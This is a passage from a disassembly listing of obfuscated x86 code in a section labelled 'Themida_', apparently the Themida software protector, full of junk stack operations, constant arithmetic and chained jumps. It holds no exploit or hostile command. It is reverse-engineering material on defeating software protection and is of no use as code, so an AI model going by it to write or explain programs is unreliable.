0B21F2C2Dh xor esi, edi mov edi, [esp] add esp, 4 jmp loc_560620 ; --------------------------------------------------------------------------- loc_569DD5: ; CODE XREF: Themida_:0055F55Aj xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push dword ptr [esp] jmp loc_56881F ; --------------------------------------------------------------------------- loc_569DE9: ; CODE XREF: Themida_:0056AF6Aj sub al, bl pop ebx sub al, bl push 4090h jmp loc_56B9A5 ; --------------------------------------------------------------------------- loc_569DF8: ; CODE XREF: Themida_:0056974Dj add esp, 4 push ebp jmp loc_564866 ; --------------------------------------------------------------------------- loc_569E01: ; CODE XREF: Themida_:00571BF4j add ebp, edx mov edx, [esp] jmp loc_562065 ; --------------------------------------------------------------------------- loc_569E0B: ; CODE XREF: Themida_:0056F0BBj mov [esp], ecx mov ecx, 321F08CDh add edx, ecx mov ecx, [esp] add esp, 4 push eax push edx mov edx, 607305AFh mov eax, edx pop edx sub edx, eax pop eax and eax, edx jmp loc_55F9F3 ; --------------------------------------------------------------------------- loc_569E32: ; CODE XREF: Themida_:0056FFDFj pop ecx push 7763h mov [esp], esi jmp loc_565E7F ; --------------------------------------------------------------------------- loc_569E40: ; CODE XREF: Themida_:0056A545j pop edi add eax, ebp sub eax, 799E7EEBh push dword ptr [esp] jmp loc_568B80 ; --------------------------------------------------------------------------- loc_569E50: ; CODE XREF: Themida_:0056C66Fj sub ebx, 1FF4BADh jmp loc_566CF9 ; --------------------------------------------------------------------------- loc_569E5B: ; CODE XREF: Themida_:00565B91j push edi jmp loc_56FD1E ; --------------------------------------------------------------------------- xor [esp], dx jmp loc_562C6E ; --------------------------------------------------------------------------- loc_569E6A: ; CODE XREF: Themida_:00563FEBj pop esp jmp loc_567681 ; --------------------------------------------------------------------------- loc_569E70: ; CODE XREF: Themida_:0055E124j pop bx shl ah, 6 jmp loc_56A3D7 ; --------------------------------------------------------------------------- loc_569E7A: ; CODE XREF: Themida_:0056DC5Dj push esp jmp loc_565767 ; --------------------------------------------------------------------------- loc_569E80: ; CODE XREF: Themida_:0056F3ADj push edi jmp loc_564488 ; --------------------------------------------------------------------------- loc_569E86: ; CODE XREF: Themida_:0056D6C4j mov esi, 14B33951h jmp loc_56661F ; --------------------------------------------------------------------------- loc_569E90: ; CODE XREF: Themida_:0056DB2Dj push eax push 0D7h mov [esp], edi push esi push 1B6864DEh jmp loc_55EF0F ; --------------------------------------------------------------------------- loc_569EA4: ; CODE XREF: Themida_:0056B9C7j push ecx mov ecx, 2EC54E62h not ecx push esi mov esi, 54463AC5h inc esi neg esi jmp loc_565073 ; --------------------------------------------------------------------------- loc_569EBA: ; CODE XREF: Themida_:00570688j mov [esp], edi mov edi, 0F505D04h inc edi xor edi, 62506419h push 7FBh mov [esp], edi jmp loc_568771 ; --------------------------------------------------------------------------- loc_569ED6: ; CODE XREF: Themida_:0056E662j push edi mov edi, 4A087D2Dh and edi, 731914BAh or edi, 2B8D3835h shl edi, 1 jmp loc_56108F ; --------------------------------------------------------------------------- loc_569EEF: ; CODE XREF: Themida_:005725DDj push ecx mov ecx, 2C084467h push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_56F8ED ; --------------------------------------------------------------------------- loc_569F08: ; CODE XREF: Themida_:0056DF4Fj neg ebp jmp loc_56F7B3 ; --------------------------------------------------------------------------- loc_569F0F: ; CODE XREF: Themida_:00568B2Cj push dword ptr [esp] pop ebp jmp loc_571B42 ; --------------------------------------------------------------------------- loc_569F18: ; CODE XREF: Themida_:0056DA98j sub esp, 2 mov [esp], ax mov ah, 6Bh add bl, ah pop ax movzx eax, al push dword ptr [edi+eax*4] push 4903h mov [esp], ecx mov ecx, 34AF2438h xor [esp+4], ecx mov ecx, [esp] push ebx push esp pop ebx push ebp jmp loc_56654F ; --------------------------------------------------------------------------- loc_569F4B: ; CODE XREF: Themida_:0056A85Cj mov esp, [esp] mov [esp], dx push ax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_569F5A: ; CODE XREF: Themida_:00563A50j shl esi, 1 shr esi, 1 jmp loc_568922 ; --------------------------------------------------------------------------- loc_569F63: ; CODE XREF: Themida_:0056B064j mov al, 30h inc al push ebx mov bh, 0B7h shl bh, 1 push cx mov cl, 57h add bh, 0D8h add bh, cl push cx mov ch, 0D8h sub bh, ch pop cx pop cx jmp loc_564DE0 ; --------------------------------------------------------------------------- loc_569F84: ; CODE XREF: Themida_:00563DC6j add ebp, 4 jmp loc_561C45 ; --------------------------------------------------------------------------- loc_569F8F: ; CODE XREF: Themida_:0055F45Fj pop esp push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55D86D ; --------------------------------------------------------------------------- loc_569FA5: ; CODE XREF: Themida_:0056C8E7j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_56CDF9 ; --------------------------------------------------------------------------- loc_569FBA: ; CODE XREF: Themida_:00570AF5j neg esi add esi, 591353D5h or esi, 4000514Fh dec esi xor esi, 0D724C727h sub edi, 67985B85h sub edi, esi push ecx mov ecx, 67985B85h add edi, ecx pop ecx jmp loc_560B36 ; --------------------------------------------------------------------------- loc_569FE5: ; CODE XREF: Themida_:0055E2BFj sub [esp+4], esi pop esi pop edi add edi, 5D84553h mov ecx, [esp] add esp, 4 add esi, edi jmp loc_5616C0 ; --------------------------------------------------------------------------- loc_569FFE: ; CODE XREF: Themida_:00569680j sub bl, 0Fh jmp loc_56138A ; --------------------------------------------------------------------------- loc_56A006: ; CODE XREF: Themida_:0056BC6Ej sub edx, eax pop eax jmp loc_56530A ; --------------------------------------------------------------------------- loc_56A00E: ; CODE XREF: Themida_:0055FB75j and eax, ebp pop ebp or eax, eax jz loc_563252 push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] pop ecx sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 push 3899h mov [esp], ebx mov ebx, 4 add edx, ebx mov ebx, [esp] add esp, 4 jmp loc_56AFC5 ; --------------------------------------------------------------------------- loc_56A04E: ; CODE XREF: Themida_:0056B22Bj mov edx, 4 jmp loc_56DD72 ; --------------------------------------------------------------------------- loc_56A058: ; CODE XREF: Themida_:00562746j sub ecx, 7804459Ah neg ecx push ebx mov ebx, 1194F266h add ecx, 68C527ADh sub ecx, ebx sub ecx, 68C527ADh pop ebx sub edx, 20A563DFh add edx, 648911EBh add edx, ecx push ecx mov ecx, 2EF4029Dh neg ecx jmp loc_565E37 ; --------------------------------------------------------------------------- loc_56A090: ; CODE XREF: Themida_:0056352Fj sub esp, 4 mov [esp], edx jmp loc_568C99 ; --------------------------------------------------------------------------- loc_56A09E: ; CODE XREF: Themida_:00566225j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edi mov edi, 0FFFFFFFFh jmp loc_566C6C ; --------------------------------------------------------------------------- loc_56A0BB: ; CODE XREF: Themida_:00567122j mov ebx, 1B53E9Eh mov edi, ebx jmp loc_56BC93 ; --------------------------------------------------------------------------- loc_56A0C7: ; CODE XREF: Themida_:00568217j add eax, 72AA716Ah dec eax shr eax, 6 push ebx mov ebx, 3AD799h jmp loc_564DC2 ; --------------------------------------------------------------------------- loc_56A0DB: ; CODE XREF: Themida_:005648EEj mov esi, 117B161Ah sub ebx, 425470E3h add ebx, esi add ebx, 425470E3h push dword ptr [esp] jmp loc_55E4BD ; --------------------------------------------------------------------------- loc_56A0F6: ; CODE XREF: Themida_:0056175Fj pop ebx add esp, 4 push 2D2h jmp loc_55F5AE ; --------------------------------------------------------------------------- loc_56A107: ; CODE XREF: Themida_:0056BE9Aj sub bh, 69h pop eax sub bh, al jmp loc_55FDCB ; --------------------------------------------------------------------------- loc_56A112: ; CODE XREF: Themida_:005660DFj push edi neg dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_5620AD ; --------------------------------------------------------------------------- loc_56A124: ; CODE XREF: Themida_:0056C265j pop ecx neg bl push edx mov dh, 4Eh not dh inc dh push edx xchg bl, [esp+1] dec bl jmp loc_568757 ; --------------------------------------------------------------------------- loc_56A13A: ; CODE XREF: Themida_:00564A28j push ebx mov bh, 77h shr bh, 5 shl bh, 7 xor bh, 7 jmp loc_5665D0 ; --------------------------------------------------------------------------- loc_56A14B: ; CODE XREF: Themida_:005652FBj sub bl, cl mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], esi jmp loc_571AAD ; --------------------------------------------------------------------------- loc_56A161: ; CODE XREF: Themida_:0056868Dj add esp, 4 push esi push dword ptr [esp+4] jmp loc_56149A ; --------------------------------------------------------------------------- loc_56A171: ; CODE XREF: Themida_:0056609Fj add edx, edi jmp loc_5666F4 ; --------------------------------------------------------------------------- loc_56A178: ; CODE XREF: Themida_:0056EA8Aj xor esi, eax push ebp mov ebp, 0 jmp loc_55F854 ; --------------------------------------------------------------------------- loc_56A185: ; CODE XREF: Themida_:0055E0EDj push dword ptr [esp] jmp loc_56E308 ; --------------------------------------------------------------------------- loc_56A18D: ; CODE XREF: Themida_:0056F4D2j add esp, 4 push 7786h mov [esp], ebx sub esp, 4 jmp loc_571414 ; --------------------------------------------------------------------------- loc_56A1A3: ; CODE XREF: Themida_:0055E54Cj mov eax, [esp] add esp, 4 sub bl, ch mov cx, [esp] jmp loc_56706A ; --------------------------------------------------------------------------- loc_56A1B4: ; CODE XREF: Themida_:0056F56Bj mov ebp, 0D10603h sub esi, 4AA717B5h sub esi, ebp add esi, 4AA717B5h jmp loc_56A54A ; --------------------------------------------------------------------------- loc_56A1CC: ; CODE XREF: Themida_:00560362j pop edx add [esp+4], ebp add dword ptr [esp+4], 44801825h mov ebp, [esp] add esp, 4 jmp loc_564BF3 ; --------------------------------------------------------------------------- loc_56A1E7: ; CODE XREF: Themida_:0056E12Cj add esi, 4 push edi mov edi, 4 add esi, edi pop edi xchg esi, [esp] jmp loc_55DFB5 ; --------------------------------------------------------------------------- loc_56A1FE: ; CODE XREF: Themida_:00570174j pop ebx xor bh, 0B5h jmp loc_5695B7 ; --------------------------------------------------------------------------- loc_56A207: ; CODE XREF: Themida_:00562659j add ebx, 4 jmp loc_565957 ; --------------------------------------------------------------------------- loc_56A212: ; CODE XREF: Themida_:0055EFAFj add ebp, 0D3FA674Fh sub ebx, ebp mov ebp, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov dword ptr [ebx], 0 pop ebx popa popf retn ; --------------------------------------------------------------------------- jmp loc_56C712 ; --------------------------------------------------------------------------- loc_56A245: ; CODE XREF: Themida_:0056FD29j pop eax dec eax inc eax xor eax, 4B236056h jmp loc_560E97 ; --------------------------------------------------------------------------- loc_56A252: ; CODE XREF: Themida_:0056A5C8j dec ebx jmp loc_571E0A ; --------------------------------------------------------------------------- loc_56A258: ; CODE XREF: Themida_:0056F0D0j mov ecx, [esp] jmp loc_569691 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx jmp loc_56225F ; --------------------------------------------------------------------------- loc_56A269: ; CODE XREF: Themida_:0056CE10j mov eax, [esp] add esp, 4 push edx jmp loc_56DC62 ; --------------------------------------------------------------------------- loc_56A275: ; CODE XREF: Themida_:0056BFE8j mov ebp, 6157267Bh add ebp, 36101968h neg ebp shl ebp, 5 push ecx mov ecx, 9F348FAFh add ebp, ecx jmp loc_562C0D ; --------------------------------------------------------------------------- loc_56A292: ; CODE XREF: Themida_:0056EAA3j mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp push 64EDh mov [esp], edi push ecx jmp loc_570E03 ; --------------------------------------------------------------------------- loc_56A2AA: ; CODE XREF: Themida_:0056E499j mov ch, 25h push 1E56h mov [esp], ebx push 4A30h jmp loc_56BB6C ; --------------------------------------------------------------------------- loc_56A2BE: ; CODE XREF: Themida_:00568EA5j pop ebx jmp loc_562D56 ; --------------------------------------------------------------------------- loc_56A2C4: ; CODE XREF: Themida_:00569639j push 7C95h mov [esp], esi jmp loc_5702BD ; --------------------------------------------------------------------------- loc_56A2D1: ; CODE XREF: Themida_:00562D88j xor edx, [esp] xor [esp], edx jmp loc_567F57 ; --------------------------------------------------------------------------- loc_56A2DC: ; CODE XREF: Themida_:005666DFj add ebx, 669263Bh mov esi, [esp] push edx jmp loc_5666FA ; --------------------------------------------------------------------------- loc_56A2EB: ; CODE XREF: Themida_:0056EF27j sub dl, 1Dh pop eax dec dl not dl dec dl jmp loc_560932 ; --------------------------------------------------------------------------- loc_56A2FA: ; CODE XREF: Themida_:0055FABCj pop eax add esp, 4 push edi mov edi, 2 jmp loc_56A429 ; --------------------------------------------------------------------------- loc_56A30C: ; CODE XREF: Themida_:00571F53j mov [esp], ebp push 16Ch mov [esp], edx mov edx, esp push 6D38h mov [esp], ebx jmp loc_560D14 ; --------------------------------------------------------------------------- loc_56A326: ; CODE XREF: Themida_:0056E950j and ebx, 5E035865h jmp loc_5659EE ; --------------------------------------------------------------------------- loc_56A331: ; CODE XREF: Themida_:00562A09j sub esi, 0EF71BFFAh xor ecx, esi pop esi jmp loc_5675CF ; --------------------------------------------------------------------------- loc_56A33F: ; CODE XREF: Themida_:0056F688j dec ebx push ecx push 2460h mov [esp], esi mov esi, 50626CDEh mov ecx, esi jmp loc_566F78 ; --------------------------------------------------------------------------- loc_56A355: ; CODE XREF: Themida_:0056EF0Ej xchg ebp, [esp] jmp loc_568893 ; --------------------------------------------------------------------------- loc_56A35D: ; CODE XREF: Themida_:0056507Dj xor ecx, esi jmp loc_56457C ; --------------------------------------------------------------------------- loc_56A364: ; CODE XREF: Themida_:0056074Dj push esi jmp loc_56FD7B ; --------------------------------------------------------------------------- loc_56A36A: ; CODE XREF: Themida_:00566CFFj pop ebp sub [edi+24h], ebx mov ebx, [esp] add esp, 4 jmp loc_57183E ; --------------------------------------------------------------------------- loc_56A379: ; CODE XREF: Themida_:0056E28Bj mov edx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_561CBF ; --------------------------------------------------------------------------- loc_56A38A: ; CODE XREF: Themida_:00566261j pop ecx jmp loc_565DD9 ; --------------------------------------------------------------------------- loc_56A390: ; CODE XREF: Themida_:00562C1Ej add ebx, ebp pop ebp xor eax, ebx jmp loc_5670FD ; --------------------------------------------------------------------------- loc_56A39A: ; CODE XREF: Themida_:00566FEDj add dh, ch jmp loc_568FF2 ; --------------------------------------------------------------------------- loc_56A3A1: ; CODE XREF: Themida_:0056BAE7j mov ebx, 0 push 280Bh mov [esp], edx mov edx, 4BC4A17h or edx, 31346C9Fh or edx, 1D03405Fh xor edx, 606B4AF5h add ebx, edx pop edx add ebx, edx sub ebx, 5DD4242Ah add eax, [ebx] jmp loc_55D8CD ; --------------------------------------------------------------------------- loc_56A3D7: ; CODE XREF: Themida_:00569E75j xor ah, 8Eh xor ah, 24h mov cl, ah pop eax jmp loc_567F84 ; --------------------------------------------------------------------------- loc_56A3E5: ; CODE XREF: Themida_:0056A901j mov ecx, edi mov ebp, ecx pop ecx pop edi sub [esp+4], ebp mov ebp, [esp] add esp, 4 add [esp], eax push 4F45h jmp loc_569883 ; --------------------------------------------------------------------------- loc_56A405: ; CODE XREF: Themida_:0056BC29j shr esi, 1 and esi, 1297940h jmp loc_56C955 ; --------------------------------------------------------------------------- loc_56A412: ; CODE XREF: Themida_:0055DE2Aj sub edx, 434C2FF9h add edx, 6DB024F7h push eax mov eax, 5A6120C8h jmp loc_567918 ; --------------------------------------------------------------------------- loc_56A429: ; CODE XREF: Themida_:0056A307j sub ebp, 7FD84105h sub ebp, edi push edi mov edi, 7FD84105h add ebp, edi pop edi push dword ptr [esp] jmp loc_570DFA ; --------------------------------------------------------------------------- loc_56A442: ; CODE XREF: Themida_:0056360Ej pop ebx push 792Bh mov [esp], ebp mov ebp, 601233B2h jmp loc_57153C ; --------------------------------------------------------------------------- loc_56A455: ; CODE XREF: Themida_:0056B5CFj shl cl, 4 push 36ADh mov [esp], ecx not byte ptr [esp] mov ecx, [esp] add esp, 4 push edx mov dl, 0AEh sub dl, 0B8h sub esp, 4 mov [esp], eax mov ah, 83h jmp loc_56615C ; --------------------------------------------------------------------------- loc_56A482: ; CODE XREF: Themida_:00560527j add dword ptr [esp+4], 5BA729E8h mov esi, [esp] jmp loc_56024C ; --------------------------------------------------------------------------- loc_56A492: ; CODE XREF: Themida_:0056EC7Bj sub ebp, 428668BDh sub esp, 4 mov [esp], esi jmp loc_570E57 ; --------------------------------------------------------------------------- loc_56A4A3: ; CODE XREF: Themida_:0056DEDEj xor edx, esi not esi xchg esi, edx add edx, 1 sub edx, 0FFFFFFFFh push 1010h jmp loc_5680EC ; --------------------------------------------------------------------------- loc_56A4B9: ; CODE XREF: Themida_:0056D925j dec ebp jmp loc_566D04 ; --------------------------------------------------------------------------- loc_56A4BF: ; CODE XREF: Themida_:0056FBEBj add ecx, 4 xchg ecx, [esp] pop esp push edx mov edx, esp add edx, 4 push ebp mov ebp, 4 sub edx, ebp pop ebp xchg edx, [esp] pop esp mov [esp], esi sub esp, 4 jmp loc_55E1AD ; --------------------------------------------------------------------------- loc_56A4E7: ; CODE XREF: Themida_:0056B27Bj xchg eax, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] jmp loc_56C0F2 ; --------------------------------------------------------------------------- loc_56A500: ; CODE XREF: Themida_:0056F3A1j add edi, ebp pop ebp std jmp loc_56B874 ; --------------------------------------------------------------------------- loc_56A509: ; CODE XREF: Themida_:00571EC1j push dword ptr [esp] jmp loc_570A98 ; --------------------------------------------------------------------------- loc_56A511: ; CODE XREF: Themida_:005648C1j push 496Ch mov [esp], ecx push ebx push 2748740Bh jmp loc_56232C ; --------------------------------------------------------------------------- loc_56A524: ; CODE XREF: Themida_:0056A9EBj pop ebp add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_568BAA ; --------------------------------------------------------------------------- loc_56A536: ; CODE XREF: Themida_:00564FDFj push ebp push 2A5345h pop ebp push edi mov edi, 799E7EEBh add eax, edi jmp loc_569E40 ; --------------------------------------------------------------------------- loc_56A54A: ; CODE XREF: Themida_:0056A1C7j pop ebp jmp loc_55F817 ; --------------------------------------------------------------------------- loc_56A550: ; CODE XREF: Themida_:00567EC5j add esp, 4 push edi mov edi, 4 add ecx, edi pop edi push ebx jmp loc_561625 ; --------------------------------------------------------------------------- loc_56A565: ; CODE XREF: Themida_:0056BEF2j pop ebp shr ecx, 3 jmp loc_57020A ; --------------------------------------------------------------------------- loc_56A56E: ; CODE XREF: Themida_:00566269j sub esp, 4 mov [esp], ebx jmp loc_56955E ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 364Ah mov [esp], edx jmp loc_56821C ; --------------------------------------------------------------------------- loc_56A589: ; CODE XREF: Themida_:00562307j add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push dword ptr [esp] pop esi jmp loc_56448E ; --------------------------------------------------------------------------- loc_56A5A4: ; CODE XREF: Themida_:0056AE8Fj pop ebx push eax mov eax, 508A055Bh sub eax, 55E701Fh neg eax sub eax, 712716BDh xor ebx, eax pop eax pop ecx mov edi, 9232673h push ebx mov ebx, 7B077C4Ch dec ebx dec ebx jmp loc_56A252 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_56CDC1 ; --------------------------------------------------------------------------- loc_56A5DD: ; CODE XREF: Themida_:005673D3j shl ebp, 5 push edx mov edx, 0BFD5153h jmp loc_56695F ; --------------------------------------------------------------------------- loc_56A5EB: ; CODE XREF: Themida_:0056DF77j mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ebx, 4 jmp loc_5712E5 ; --------------------------------------------------------------------------- loc_56A608: ; CODE XREF: Themida_:0056BA40j push edx mov edx, esi mov ecx, edx pop edx pop esi jmp loc_5623C5 ; --------------------------------------------------------------------------- loc_56A614: ; CODE XREF: Themida_:00560216j mov [esp], eax jmp loc_5721A4 ; --------------------------------------------------------------------------- loc_56A61C: ; CODE XREF: Themida_:00565348j xor [esp], edi xor edi, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 mov eax, [esp] add esp, 4 jmp loc_563235 ; --------------------------------------------------------------------------- loc_56A63D: ; CODE XREF: Themida_:00560FF7j xor ebx, 1F6F4DC8h jmp loc_56200E ; --------------------------------------------------------------------------- loc_56A648: ; CODE XREF: Themida_:0056E6E3j mov ecx, [esp] jmp loc_56F26E ; --------------------------------------------------------------------------- loc_56A650: ; CODE XREF: Themida_:00568ECFj mov esp, [esp] idiv cl movzx cx, ah jmp loc_563322 ; --------------------------------------------------------------------------- loc_56A65E: ; CODE XREF: Themida_:005601F6j push 4D7Ah mov [esp], edi mov edi, 3A571977h add ecx, edi pop edi add esi, ecx pop ecx xchg esi, [esp] jmp loc_568457 ; --------------------------------------------------------------------------- loc_56A679: ; CODE XREF: Themida_:0056C396j xchg ebp, [esp] pop esp push 687Ah jmp loc_56D908 ; --------------------------------------------------------------------------- loc_56A687: ; CODE XREF: Themida_:005695D7j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] jmp loc_563D2B ; --------------------------------------------------------------------------- loc_56A699: ; CODE XREF: Themida_:0056685Fj mov [esp], cx jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56A6A2: ; CODE XREF: Themida_:0056C297j pop ebx add ecx, ebp jmp loc_56D8D2 ; --------------------------------------------------------------------------- loc_56A6AA: ; CODE XREF: Themida_:00567ED2j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56A6AF: ; CODE XREF: Themida_:00567FB3j mov esi, 626401D6h sub edx, esi mov esi, [esp] jmp loc_56B230 ; --------------------------------------------------------------------------- loc_56A6BE: ; CODE XREF: Themida_:005638E4j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], cx mov ch, 0Bh sub bl, 2Dh jmp loc_56310E ; --------------------------------------------------------------------------- loc_56A6D8: ; CODE XREF: Themida_:0056F1D0j add edi, 4 xchg edi, [esp] pop esp shr ecx, 0Ah push esi jmp loc_56441A ; --------------------------------------------------------------------------- loc_56A6E8: ; CODE XREF: Themida_:0055F812j mov ecx, edx mov edx, [esp] push eax mov eax, esp jmp loc_565E75 ; --------------------------------------------------------------------------- loc_56A6F5: ; CODE XREF: Themida_:0055DAE2j push ecx mov ecx, esp add ecx, 4 push eax push esp pop eax add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 4 sub ecx, ebp mov ebp, [esp] add esp, 4 push ebx jmp loc_568DD9 ; --------------------------------------------------------------------------- loc_56A73C: ; CODE XREF: Themida_:0056F8AEj mov ebx, 42AA5A18h jmp loc_55E8FC ; --------------------------------------------------------------------------- loc_56A746: ; CODE XREF: Themida_:0056FA62j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56A74B: ; CODE XREF: Themida_:0056DF82j pop dword ptr [esp] mov esp, [esp] ror dword ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56A75A: ; CODE XREF: Themida_:0056FC5Ej push edx push 2517B2A7h pop edx add esi, edx jmp loc_560813 ; --------------------------------------------------------------------------- loc_56A768: ; CODE XREF: Themida_:00571229j pop ecx jmp loc_5666E4 ; --------------------------------------------------------------------------- loc_56A76E: ; CODE XREF: Themida_:005681E3j sub eax, edx mov edx, [esp] add esp, 4 sub eax, 30F3C3Ch jmp loc_56E71E ; --------------------------------------------------------------------------- loc_56A780: ; CODE XREF: Themida_:0056B875j push 625669E9h jmp loc_56D075 ; --------------------------------------------------------------------------- loc_56A78A: ; CODE XREF: Themida_:0055F5D7j mov ebp, esi jmp loc_560013 ; --------------------------------------------------------------------------- loc_56A791: ; CODE XREF: Themida_:00560FA0j push 10E8h mov [esp], edi push 7527h jmp loc_565587 ; --------------------------------------------------------------------------- loc_56A7A3: ; CODE XREF: Themida_:0056C632j mov esi, 6E9A1823h jmp loc_561E17 ; --------------------------------------------------------------------------- loc_56A7AD: ; CODE XREF: Themida_:0055DED4j pop esi push ecx push esp pop ecx add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push eax push 67FD73F4h pop eax jmp loc_55DF02 ; --------------------------------------------------------------------------- loc_56A7D0: ; CODE XREF: Themida_:0056D9F1j mov edx, 0C55F34C6h sub edx, ecx pop ecx add eax, 31281C5Fh jmp loc_571462 ; --------------------------------------------------------------------------- loc_56A7E2: ; CODE XREF: Themida_:005718EBj pop esp mov [esp], esi jmp loc_561D5E ; --------------------------------------------------------------------------- loc_56A7EB: ; CODE XREF: Themida_:0055E8E2j add esp, 4 jmp loc_56C2B1 ; --------------------------------------------------------------------------- loc_56A7F3: ; CODE XREF: Themida_:00569923j pop esi add ebp, 4 jmp loc_56E2FD ; --------------------------------------------------------------------------- loc_56A7FC: ; CODE XREF: Themida_:005713DCj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp push 1BA5h mov [esp], eax push ebp mov ebp, 421C0656h inc ebp push edx mov edx, 180955D3h add ebp, edx pop edx add ebp, 6B0626A0h add ebp, 3AD47D38h mov eax, ebp pop ebp jmp loc_5658EF ; --------------------------------------------------------------------------- loc_56A832: ; CODE XREF: Themida_:005690E0j mov edx, 4 add ecx, edx mov edx, [esp] add esp, 4 xor ecx, [esp] jmp loc_564777 ; --------------------------------------------------------------------------- loc_56A847: ; CODE XREF: Themida_:00570DFEj add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] xchg ebp, [esp] jmp loc_569F4B ; --------------------------------------------------------------------------- loc_56A861: ; CODE XREF: Themida_:00561101j xchg ecx, [esp] mov esp, [esp] or [esp], al pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56A870: ; CODE XREF: Themida_:00563B21j sub esp, 4 mov [esp], eax push ecx push 31FA432Fh mov ecx, [esp] add esp, 4 and ecx, 2A0F72FBh xor ecx, 52E46C61h push ecx sub dword ptr [esp], 23E63D4Dh pop eax add eax, 23E63D4Dh pop ecx shl eax, 4 jmp loc_5607B5 ; --------------------------------------------------------------------------- loc_56A8A5: ; CODE XREF: Themida_:0056AB87j pop ecx add esp, 4 jmp loc_57184E ; --------------------------------------------------------------------------- loc_56A8B1: ; CODE XREF: Themida_:0056ADD2j sub esp, 4 mov [esp], esi mov esi, esp push 3CBAh mov [esp], ebp mov ebp, 4 add esi, ebp pop ebp sub esi, 4 xchg esi, [esp] jmp loc_565027 ; --------------------------------------------------------------------------- loc_56A8D7: ; CODE XREF: Themida_:0056B4B3j push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 jmp loc_55E4E0 ; --------------------------------------------------------------------------- loc_56A8E9: ; CODE XREF: Themida_:005621DAj xor [esp], edi xor edi, [esp] mov esp, [esp] push 63B0h mov [esp], ebp push edi mov edi, 64552B44h push ecx jmp loc_56A3E5 ; --------------------------------------------------------------------------- loc_56A906: ; CODE XREF: Themida_:005611C6j push edx jmp loc_56B2BB ; --------------------------------------------------------------------------- loc_56A90C: ; CODE XREF: Themida_:005685C8j sub esp, 4 mov [esp], eax jmp loc_56B78A ; --------------------------------------------------------------------------- loc_56A91A: ; CODE XREF: Themida_:005638BDj push edx jmp loc_56F1EC ; --------------------------------------------------------------------------- loc_56A920: ; CODE XREF: Themida_:0056C5B9j add dh, 96h push ebx mov bl, 0B0h sub al, bl pop ebx sub al, 50h sub al, dh jmp loc_56CBC8 ; --------------------------------------------------------------------------- loc_56A932: ; CODE XREF: Themida_:00569C33j not ecx xor ecx, 66B628DCh add ecx, 3C93805h sub ebx, ecx mov ecx, [esp] add esp, 4 push ebx jmp loc_563499 ; --------------------------------------------------------------------------- loc_56A94E: ; CODE XREF: Themida_:00564754j pop eax push edx mov edx, 5A135CBDh jmp loc_562551 ; --------------------------------------------------------------------------- loc_56A95A: ; CODE XREF: Themida_:00562A97j mov [esp], esi push 3E53257h pop esi shl esi, 7 jmp loc_56F72D ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_571095 ; --------------------------------------------------------------------------- loc_56A974: ; CODE XREF: Themida_:005696E7j push ebp mov ebp, 7A425CFBh sub esi, ebp pop ebp pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_56CCEB ; --------------------------------------------------------------------------- loc_56A98D: ; CODE XREF: Themida_:00569477j xor [esp], esi pop ebp push esi sub esp, 4 mov [esp], ebp pop esi push dword ptr [esp] pop ebp add esp, 4 xor eax, esi xor esi, eax jmp loc_569569 ; --------------------------------------------------------------------------- loc_56A9AC: ; CODE XREF: Themida_:0056E568j sub edx, 3D1A4F4Eh add eax, edx push dword ptr [esp] pop edx add esp, 4 xchg eax, [esp] mov esp, [esp] mov edi, [esp] push esi push 1F66h mov [esp], esp add dword ptr [esp], 4 pop esi push ebp mov ebp, 78B864DCh push ebp not dword ptr [esp] pop ebp xor ebp, 87479B27h add esi, ebp jmp loc_56A524 ; --------------------------------------------------------------------------- loc_56A9F0: ; CODE XREF: Themida_:00571111j dec dword ptr [esp] pop ebx push edi jmp loc_563B99 ; --------------------------------------------------------------------------- mov cx, [esp] push edx push esp pop edx add edx, 4 push 7FBAh mov [esp], eax push ecx mov ecx, 3C0175Ch mov eax, ecx mov ecx, [esp] add esp, 4 jmp loc_56DFE4 ; --------------------------------------------------------------------------- loc_56AA22: ; CODE XREF: Themida_:0056067Dj add edi, 99C181A0h neg edi jmp loc_56CB13 ; --------------------------------------------------------------------------- loc_56AA2F: ; CODE XREF: Themida_:005686FBj push ebx mov bh, 0E6h jmp loc_56177C ; --------------------------------------------------------------------------- loc_56AA37: ; CODE XREF: Themida_:005662C9j sub esp, 4 mov 